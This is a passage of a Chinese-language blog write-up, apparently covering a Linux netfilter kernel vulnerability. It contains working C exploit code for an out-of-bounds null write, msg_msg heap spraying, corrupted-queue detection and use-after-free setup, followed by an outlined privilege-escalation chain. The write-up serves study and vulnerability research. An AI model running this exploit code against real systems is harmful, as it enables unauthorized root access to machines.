operator">=</span> nfqueue_tg_check<span class="token punctuation">,</span><span class="token punctuation">.</span>target<span class="token operator">=</span> nfqueue_tg_v3<span class="token punctuation">,</span><span class="token punctuation">.</span>targetsize<span class="token operator">=</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">xt_NFQ_info_v3</span><span class="token punctuation">)</span><span class="token punctuation">,</span><span class="token punctuation">.</span>me<span class="token operator">=</span> THIS_MODULE<span class="token punctuation">,</span><span class="token punctuation">&#125;</span><span class="token punctuation">,</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>可以看到这个 <a href="https://elixir.bootlin.com/linux/v5.11.14/source/include/uapi/linux/netfilter/xt_NFQUEUE.h#L19">xt_NFQ_info_v1</a> 结构体，只有 4 个字节，也就是 targetsize 为 4 个字节，计算得 <code>pad = 4</code>：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token keyword">struct</span> <span class="token class-name">xt_NFQ_info_v1</span> <span class="token punctuation">&#123;</span>__u16 queuenum<span class="token punctuation">;</span>__u16 queues_total<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><p>这样就可以越界写 4 字节的 0，通过调整 t-&gt;data 的位置，可以让其改写某些指针的低两字节，后面的利用中，就让这两字节改指针转化为 UAF 进行权限提升</p><h3 id="2-字节溢出写-0"><a href="#2-字节溢出写-0" class="headerlink" title="2 字节溢出写 0"></a>2 字节溢出写 0</h3><p>选择 xt_NFQ_info_v1，则可以 memset 4 个字节，可以想到的是，溢出写 0 用来改写某些结构体的指针来进一步利用，比如说 msg_msg.m_list.next 指针，但是改写指针低 4 个字节为 0 很可能不会得到一个有效的指针，所以需要做一下调整，只改指针低两字节则很可能得到一个有效的指针</p><p>通过调整 match 的 data 部分的大小，让 xt_table_info 结构体从一个页也就是 4K 大小中分配，并且 memset 刚好改写相邻的下一个页的低两字节，有具体如下：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token keyword">int</span> <span class="token function">trigger_oob_write</span><span class="token punctuation">(</span><span class="token keyword">int</span> s<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">struct</span> <span class="token class-name">__attribute__</span><span class="token punctuation">(</span><span class="token punctuation">(</span>__packed__<span class="token punctuation">)</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>        <span class="token keyword">struct</span> <span class="token class-name">ipt_replace</span> replace<span class="token punctuation">;</span>  <span class="token comment">// 0x5c</span>        <span class="token keyword">struct</span> <span class="token class-name">ipt_entry</span> entry<span class="token punctuation">;</span>      <span class="token comment">// 0x70</span>        <span class="token keyword">struct</span> <span class="token class-name">xt_entry_match</span> match<span class="token punctuation">;</span> <span class="token comment">// 0x20</span>        <span class="token keyword">char</span> match_data<span class="token punctuation">[</span>PAGE_SIZE <span class="token operator">-</span> <span class="token number">0x40</span> <span class="token operator">-</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">ipt_entry</span><span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">xt_entry_match</span><span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">xt_entry_target</span><span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">8</span> <span class="token operator">-</span> <span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">;</span>        <span class="token keyword">struct</span> <span class="token class-name">xt_entry_target</span> target<span class="token punctuation">;</span> <span class="token comment">// 0x20</span>    <span class="token punctuation">&#125;</span> data <span class="token operator">=</span> <span class="token punctuation">&#123;</span><span class="token number">0</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span>    data<span class="token punctuation">.</span>replace<span class="token punctuation">.</span>num_counters <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span>    data<span class="token punctuation">.</span>replace<span class="token punctuation">.</span>num_entries <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span>    data<span class="token punctuation">.</span>replace<span class="token punctuation">.</span>size <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword">sizeof</span><span class="token punctuation">(</span>data<span class="token punctuation">.</span>entry<span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>data<span class="token punctuation">.</span>match<span class="token punctuation">)</span> <span class="token operator">+</span>                         <span class="token keyword">sizeof</span><span class="token punctuation">(</span>data<span class="token punctuation">.</span>match_data<span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>data<span class="token punctuation">.</span>target<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>     data<span class="token punctuation">.</span>entry<span class="token punctuation">.</span>next_offset <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword">sizeof</span><span class="token punctuation">(</span>data<span class="token punctuation">.</span>entry<span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>data<span class="token punctuation">.</span>match<span class="token punctuation">)</span> <span class="token operator">+</span>                              <span class="token keyword">sizeof</span><span class="token punctuation">(</span>data<span class="token punctuation">.</span>match_data<span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>data<span class="token punctuation">.</span>target<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>     data<span class="token punctuation">.</span>entry<span class="token punctuation">.</span>target_offset <span class="token operator">=</span>        <span class="token punctuation">(</span><span class="token keyword">sizeof</span><span class="token punctuation">(</span>data<span class="token punctuation">.</span>entry<span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>data<span class="token punctuation">.</span>match<span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>data<span class="token punctuation">.</span>match_data<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>     data<span class="token punctuation">.</span>match<span class="token punctuation">.</span>u<span class="token punctuation">.</span>user<span class="token punctuation">.</span>match_size <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword">sizeof</span><span class="token punctuation">(</span>data<span class="token punctuation">.</span>match<span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>data<span class="token punctuation">.</span>match_data<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>     <span class="token function">strcpy</span><span class="token punctuation">(</span>data<span class="token punctuation">.</span>match<span class="token punctuation">.</span>u<span class="token punctuation">.</span>user<span class="token punctuation">.</span>name<span class="token punctuation">,</span> <span class="token string">"icmp"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    data<span class="token punctuation">.</span>match<span class="token punctuation">.</span>u<span class="token punctuation">.</span>user<span class="token punctuation">.</span>revision <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>    data<span class="token punctuation">.</span>target<span class="token punctuation">.</span>u<span class="token punctuation">.</span>user<span class="token punctuation">.</span>target_size <span class="token operator">=</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>data<span class="token punctuation">.</span>target<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 0x20</span>    <span class="token function">strcpy</span><span class="token punctuation">(</span>data<span class="token punctuation">.</span>target<span class="token punctuation">.</span>u<span class="token punctuation">.</span>user<span class="token punctuation">.</span>name<span class="token punctuation">,</span> <span class="token string">"NFQUEUE"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    data<span class="token punctuation">.</span>target<span class="token punctuation">.</span>u<span class="token punctuation">.</span>user<span class="token punctuation">.</span>revision <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span>    <span class="token comment">// Partially overwrite the adjacent buffer with 2 bytes of zero.</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">setsockopt</span><span class="token punctuation">(</span>s<span class="token punctuation">,</span> SOL_IP<span class="token punctuation">,</span> IPT_SO_SET_REPLACE<span class="token punctuation">,</span> <span class="token operator">&amp;</span>data<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>data<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">!=</span> <span class="token number">0</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span>errno <span class="token operator">==</span> ENOPROTOOPT<span class="token punctuation">)</span>        <span class="token punctuation">&#123;</span>            <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"[-] error ip_tables module is not loaded.\n"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token keyword">return</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>此时 memset 如下：</p><pre class="line-numbers language-none"><code class="language-none">memset(t-&gt;data + target-&gt;targetsize, 0, 4);-&gt;memset(newinfo-&gt;entries + target_offset + 0x20(offset of data &#x3D;&#x3D; sizeof(xt_entry_target)) + 4(target-&gt;targetsize), 0, 4);-&gt;memset(newinfo + 0x40 + target_offset + 0x20 + 4, 0, 4);-&gt;memset(newinfo + 0x40 + 0x70(sizeof ipt_entry) + 0x20(sizeof xt_entry_match) + match_data + 4(align matchsize) + 0x20 + 4, 0, 4)-&gt;memset(newinfo + PAGE_SIZE - 8 - 2 + 4(align matchsize) + 4(target-&gt;targetsize), 0, 4)-&gt;memset(newinfo + PAGE_SIZE - 2, 0, 4)<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><img src="/images/c7dcc58a/pasted-2.png" alt="off-by-2null"></p><h3 id="UAF"><a href="#UAF" class="headerlink" title="UAF"></a>UAF</h3><h4 id="构造主消息与副消息"><a href="#构造主消息与副消息" class="headerlink" title="构造主消息与副消息"></a>构造主消息与副消息</h4><p>创建 4096 个消息队列，填充 0x1000 大小的主消息</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token keyword">struct</span><span class="token punctuation">&#123;</span>    <span class="token keyword">long</span> mtype<span class="token punctuation">;</span>    <span class="token keyword">char</span> mtext<span class="token punctuation">[</span>PRIMARY_SIZE <span class="token operator">-</span> MSG_MSG_SIZE<span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span> msg_primary<span class="token punctuation">;</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token keyword">int</span> <span class="token function">write_msg</span><span class="token punctuation">(</span><span class="token keyword">int</span> id<span class="token punctuation">,</span> <span class="token keyword">const</span> <span class="token keyword">void</span> <span class="token operator">*</span>msgp<span class="token punctuation">,</span> <span class="token class-name">size_t</span> msgsz<span class="token punctuation">,</span> <span class="token keyword">long</span> msgtyp<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token operator">*</span><span class="token punctuation">(</span><span class="token keyword">long</span> <span class="token operator">*</span><span class="token punctuation">)</span>msgp <span class="token operator">=</span> msgtyp<span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">msgsnd</span><span class="token punctuation">(</span>id<span class="token punctuation">,</span> msgp<span class="token punctuation">,</span> msgsz <span class="token operator">-</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span><span class="token keyword">long</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token function">perror</span><span class="token punctuation">(</span><span class="token string">"[-] msgsnd"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">return</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>    <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"[*] Spraying primary messages..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> NUM_MSQIDS<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token function">memset</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>msg_primary<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>msg_primary<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token operator">*</span><span class="token punctuation">(</span><span class="token keyword">int</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>msg_primary<span class="token punctuation">.</span>mtext<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> MSG_TAG<span class="token punctuation">;</span>        <span class="token operator">*</span><span class="token punctuation">(</span><span class="token keyword">int</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>msg_primary<span class="token punctuation">.</span>mtext<span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">]</span> <span class="token operator">=</span> i<span class="token punctuation">;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">write_msg</span><span class="token punctuation">(</span>msqid<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token operator">&amp;</span>msg_primary<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>msg_primary<span class="token punctuation">)</span><span class="token punctuation">,</span> MTYPE_PRIMARY<span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>            <span class="token keyword">goto</span> ret<span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>再填充大小为 0x400 的副消息：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token keyword">struct</span><span class="token punctuation">&#123;</span>    <span class="token keyword">long</span> mtype<span class="token punctuation">;</span>    <span class="token keyword">char</span> mtext<span class="token punctuation">[</span>SECONDARY_SIZE <span class="token operator">-</span> MSG_MSG_SIZE<span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span> msg_secondary<span class="token punctuation">;</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>    <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"[*] Spraying secondary messages..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> NUM_MSQIDS<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>        <span class="token function">memset</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>msg_secondary<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>msg_secondary<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token operator">*</span><span class="token punctuation">(</span><span class="token keyword">int</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>msg_secondary<span class="token punctuation">.</span>mtext<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> MSG_TAG<span class="token punctuation">;</span>        <span class="token operator">*</span><span class="token punctuation">(</span><span class="token keyword">int</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>msg_secondary<span class="token punctuation">.</span>mtext<span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">]</span> <span class="token operator">=</span> i<span class="token punctuation">;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">write_msg</span><span class="token punctuation">(</span>msqid<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token operator">&amp;</span>msg_secondary<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>msg_secondary<span class="token punctuation">)</span><span class="token punctuation">,</span> MTYPE_SECONDARY<span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>            <span class="token keyword">goto</span> ret<span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>Copy 一张图，如下：<br><img src="/images/c7dcc58a/pasted-3.png" alt="messages"><br><strong>注意：</strong>图中的 next 指 <strong>msg_msg-&gt;m_list-&gt;next</strong> 而不是 msg_msg-&gt;next</p><p>其中的 <code>*(int *)&amp;mtext[0] = MSG_TAG</code> 用来标记该区域是消息内容区域，<code>*(int *)&amp;mtext[4] = i</code> 用来标记好这个消息是哪个消息队列的消息，当漏洞触发时，next 指向改变，则主消息和副消息的 <code>*(int *)&amp;mtext[4]</code> 值不一样，这样可以找到是哪个 msg_msg 结构体被更改了</p><h4 id="制造空洞为-xt-table-info-占位做准备"><a href="#制造空洞为-xt-table-info-占位做准备" class="headerlink" title="制造空洞为 xt_table_info 占位做准备"></a>制造空洞为 xt_table_info 占位做准备</h4><p>间隔 1024，释放部分主消息，使得后面 xt_table_info 分配到这些空洞中</p><pre class="line-numbers language-none"><code class="language-none">int read_msg(int id, void *msgp, size_t msgsz, long msgtyp)&#123;    if (msgrcv(id, msgp, msgsz - sizeof(long), msgtyp, 0) &lt; 0)    &#123;        perror(&quot;[-] msgrcv&quot;);        return -1;    &#125;    return 0;&#125;...    puts(&quot;[*]  Creating holes in primary messages...&quot;);    for (int i &#x3D; HOLE_STEP; i &lt; NUM_MSQIDS; i +&#x3D; HOLE_STEP)    &#123;        if (read_msg(msqid[i], &amp;msg_primary, sizeof(msg_primary), MTYPE_PRIMARY) &lt; 0)            goto ret;    &#125;<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>再 Copy 一张图：<br><img src="/images/c7dcc58a/pasted-4.png" alt="free"></p><h4 id="触发漏洞，搜索被破坏的主消息"><a href="#触发漏洞，搜索被破坏的主消息" class="headerlink" title="触发漏洞，搜索被破坏的主消息"></a>触发漏洞，搜索被破坏的主消息</h4><p>触发 2 字节溢出写 0 后，更改了某个 msg_msg 的 m_list.next 指针，也就是副消息会指向其他地方，很可能就是另外某个主消息的副消息，利用 msgrcv 的 MSG_COPY 标志读取副消息，而不释放副消息，对比主副消息的 <code>*(int *)&amp;mtext[4]</code> 是否一致，即可找到目标消息队列：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token keyword">int</span> <span class="token function">peek_msg</span><span class="token punctuation">(</span><span class="token keyword">int</span> id<span class="token punctuation">,</span> <span class="token keyword">void</span> <span class="token operator">*</span>msgp<span class="token punctuation">,</span> <span class="token class-name">size_t</span> msgsz<span class="token punctuation">,</span> <span class="token keyword">long</span> index<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">msgrcv</span><span class="token punctuation">(</span>id<span class="token punctuation">,</span> msgp<span class="token punctuation">,</span> msgsz <span class="token operator">-</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span><span class="token keyword">long</span><span class="token punctuation">)</span><span class="token punctuation">,</span> index<span class="token punctuation">,</span> MSG_COPY <span class="token operator">|</span> IPC_NOWAIT<span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>        <span class="token function">perror</span><span class="token punctuation">(</span><span class="token string">"[-] msgrcv"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">return</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>    <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"[*] Trigger oob write"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">trigger_oob_write</span><span class="token punctuation">(</span>s<span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token function">perror</span><span class="token punctuation">(</span><span class="token string">"trigger_oob_write"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">goto</span> ret<span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"[*] Searching for corrupted primary message..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">int</span> fake_id <span class="token operator">=</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">,</span> real_id <span class="token operator">=</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span>    <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> NUM_MSQIDS<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span>i <span class="token operator">!=</span> <span class="token number">0</span> <span class="token operator">&amp;&amp;</span> <span class="token operator">!</span><span class="token punctuation">(</span>i <span class="token operator">%</span> HOLE_STEP<span class="token punctuation">)</span><span class="token punctuation">)</span>            <span class="token keyword">continue</span><span class="token punctuation">;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">peek_msg</span><span class="token punctuation">(</span>msqid<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token operator">&amp;</span>msg_secondary<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>msg_secondary<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>            <span class="token keyword">goto</span> ret<span class="token punctuation">;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">*</span><span class="token punctuation">(</span><span class="token keyword">int</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>msg_secondary<span class="token punctuation">.</span>mtext<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">!=</span> MSG_TAG<span class="token punctuation">)</span>        <span class="token punctuation">&#123;</span>            <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"[-] MSG_TAG error\n"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token keyword">goto</span> ret<span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">*</span><span class="token punctuation">(</span><span class="token keyword">int</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>msg_secondary<span class="token punctuation">.</span>mtext<span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">]</span> <span class="token operator">!=</span> i<span class="token punctuation">)</span>        <span class="token punctuation">&#123;</span>            real_id <span class="token operator">=</span> <span class="token operator">*</span><span class="token punctuation">(</span><span class="token keyword">int</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>msg_secondary<span class="token punctuation">.</span>mtext<span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">]</span><span class="token punctuation">;</span>            fake_id <span class="token operator">=</span> i<span class="token punctuation">;</span>            <span class="token keyword">break</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>real_id <span class="token operator">==</span> <span class="token operator">-</span><span class="token number">1</span> <span class="token operator">&amp;&amp;</span> fake_id <span class="token operator">==</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>        <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"[-] Could not corrupt any primary message\n"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">goto</span> ret<span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"[+] real_id = %#x, fake_id = %#x\n"</span><span class="token punctuation">,</span> real_id<span class="token punctuation">,</span> fake_id<span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>如图：<br><img src="/images/c7dcc58a/pasted-5.png" alt="corrupt"></p><h4 id="释放副消息造成-UAF"><a href="#释放副消息造成-UAF" class="headerlink" title="释放副消息造成 UAF"></a>释放副消息造成 UAF</h4><p>利用 real_id 读取释放副消息，fake_id 的副消息指向已经释放的消息，则造成 UAF</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"[*] Free secondary message and then gain UAF"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">read_msg</span><span class="token punctuation">(</span>real_id<span class="token punctuation">,</span> <span class="token operator">&amp;</span>msg_secondary<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>msg_secondary<span class="token punctuation">)</span><span class="token punctuation">,</span> MTYPE_SECONDARY<span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>    <span class="token keyword">goto</span> ret<span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>如图：<br><img src="/images/c7dcc58a/pasted-6.png" alt="trigger UAF"></p><hr><p>有了 UAF 后，这里大致描述下利用思路</p><ol><li>skb 堆喷占位，伪造副消息</li><li>fake_id peek 副消息来 leak 堆地址</li><li>释放 skb ，利用 leak 出的堆地址来 skb 堆喷伪造合法的副消息</li><li>fake_id read 释放副消息，因为此时副消息的指针都合法可以脱链</li><li>pipe_buffer 堆喷占位</li><li>读取并释放 skb，读到 pipe_buffer 的内容，泄露 kernel 地址</li><li>skb 堆喷劫持 pipe_buffer-&gt;ops</li><li>close pipe，劫持程序执行流提权</li></ol><hr><h3 id="skb-堆喷伪造副消息"><a href="#skb-堆喷伪造副消息" class="headerlink" title="skb 堆喷伪造副消息"></a>skb 堆喷伪造副消息</h3><p>首先得先泄露堆地址，用于后面伪造合法的副消息</p><h4 id="leak-heap"><a href="#leak-heap" class="headerlink" title="leak heap"></a>leak heap</h4><p>利用 skb 堆喷伪造副消息，伪造 m_ts，利用 fake_id 队列 peek 副消息，即可越界读到相邻的副消息的 msg_msg 结构体，可以泄露 <code>msg_msg-&gt;m_list-&gt;next</code> 和 <code>msg_msg-&gt;m_list-&gt;prev</code> 堆地址</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token keyword">struct</span> <span class="token class-name">msg_msg</span><span class="token punctuation">&#123;</span>    <span class="token class-name">uint64_t</span> 